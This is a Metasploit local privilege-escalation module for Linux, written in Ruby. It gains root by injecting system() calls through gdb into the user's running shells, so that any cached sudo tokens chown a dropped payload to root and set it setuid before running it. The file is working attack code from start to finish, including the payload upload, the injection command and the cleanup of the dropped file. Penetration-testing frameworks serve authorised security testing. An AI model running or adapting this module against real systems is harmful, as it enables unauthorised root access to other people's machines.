##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Linux::Kernel
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Post::Process
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ptrace Sudo Token Privilege Escalation',
        'Description' => %q{
          This module attempts to gain root privileges by blindly injecting into
          the session user's running shell processes and executing commands by
          calling `system()`, in the hope that the process has valid cached sudo
          tokens with root privileges.

          The system must have gdb installed and permit ptrace.

          This module has been tested successfully on:

          Debian 9.8 (x64); and
          CentOS 7.4.1708 (x64).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'chaignc', # sudo_inject
          'bcoles' # Metasploit
        ],
        'DisclosureDate' => '2019-03-24',
        'References' => [
          ['EDB', '46989'],
          ['URL', 'https://github.com/nongiach/sudo_inject'],
          ['URL', 'https://www.kernel.org/doc/Documentation/security/Yama.txt'],
          ['URL', 'http://man7.org/linux/man-pages/man2/ptrace.2.html'],
          ['URL', 'https://lwn.net/Articles/393012/'],
          ['URL', 'https://lwn.net/Articles/492667/'],
          ['URL', 'https://linux-audit.com/protect-ptrace-processes-kernel-yama-ptrace_scope/'],
          ['URL', 'https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html']
        ],
        'Platform' => ['linux'],
        'Arch' => [
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
        'SessionTypes' => ['shell', 'meterpreter'],
        'Targets' => [['Auto', {}]],
        'DefaultOptions' => {
          'PrependSetresuid' => true,
          'PrependSetresgid' => true,
          'PrependFork' => true,
          'WfsDelay' => 30
        },
        'DefaultTarget' => 0,
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_file
            ]
          }
        }
      )
    )
    register_options [
      OptInt.new('TIMEOUT', [true, 'Process injection timeout (seconds)', '30'])
    ]
    register_advanced_options [
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def timeout
    datastore['TIMEOUT']
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
  end

  def check
    if yama_enabled?
      vprint_error 'YAMA ptrace scope is restrictive'
      return CheckCode::Safe
    end
    vprint_good 'YAMA ptrace scope is not restrictive'

    if command_exists? '/usr/sbin/getsebool'
      if cmd_exec("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on && echo true").to_s.include? 'true'
        vprint_error 'SELinux deny_ptrace is enabled'
        return CheckCode::Safe
      end
      vprint_good 'SELinux deny_ptrace is disabled'
    end

    unless command_exists? 'sudo'
      vprint_error 'sudo is not installed'
      return CheckCode::Safe
    end
    vprint_good 'sudo is installed'

    unless command_exists? 'gdb'
      vprint_error 'gdb is not installed'
      return CheckCode::Safe
    end
    vprint_good 'gdb is installed'

    CheckCode::Detected
  end

  def exploit
    if !datastore['ForceExploit'] && is_root?
      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    if nosuid? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
    end

    # Find running shell processes
    shells = %w[ash ksh csh dash bash zsh tcsh fish sh]

    system_shells = read_file('/etc/shells').to_s.each_line.map { |line|
      line.strip
    }.reject { |line|
      line.starts_with?('#')
    }.each { |line|
      shells << line.split('/').last
    }
    shells = shells.uniq.reject { |shell| shell.blank? }

    print_status 'Searching for shell processes ...'
    pids = []
    if command_exists? 'pgrep'
      cmd_exec("pgrep '^(#{shells.join('|')})$' -u \"$(id -u)\"").to_s.each_line do |pid|
        pids << pid.strip
      end
    else
      shells.each do |s|
        pidof(s).each { |p| pids << p.strip }
      end
    end

    if pids.empty?
      fail_with Failure::Unknown, 'Found no running shell processes'
    end

    print_status "Found #{pids.uniq.length} running shell processes"
    vprint_status pids.join(', ')

    # Upload payload
    @payload_path = "#{base_dir}/.#{rand_text_alphanumeric 10..15}"
    upload @payload_path, generate_payload_exe

    # Blindly call system() in each shell process
    pids.each do |pid|
      print_status "Injecting into process #{pid} ..."

      cmds = "echo | sudo -S /bin/chown 0:0 #{@payload_path} >/dev/null 2>&1 && echo | sudo -S /bin/chmod 4755 #{@payload_path} >/dev/null 2>&1"
      sudo_inject = "echo 'call system(\"#{cmds}\")' | gdb -q -n -p #{pid} >/dev/null 2>&1"
      res = cmd_exec sudo_inject, nil, timeout
      vprint_line res unless res.blank?

      next unless setuid? @payload_path

      print_good "#{@payload_path} setuid root successfully"
      print_status 'Executing payload...'
      res = cmd_exec "#{@payload_path} & echo "
      vprint_line res
      return
    end

    fail_with Failure::NoAccess, 'Failed to create setuid root shell. Session user has no valid cached sudo tokens.'
  end

  def on_new_session(session)
    if session.type.eql? 'meterpreter'
      session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
      session.fs.file.rm @payload_path
    else
      session.shell_command_token "rm -f '#{@payload_path}'"
    end
  ensure
    super
  end
end
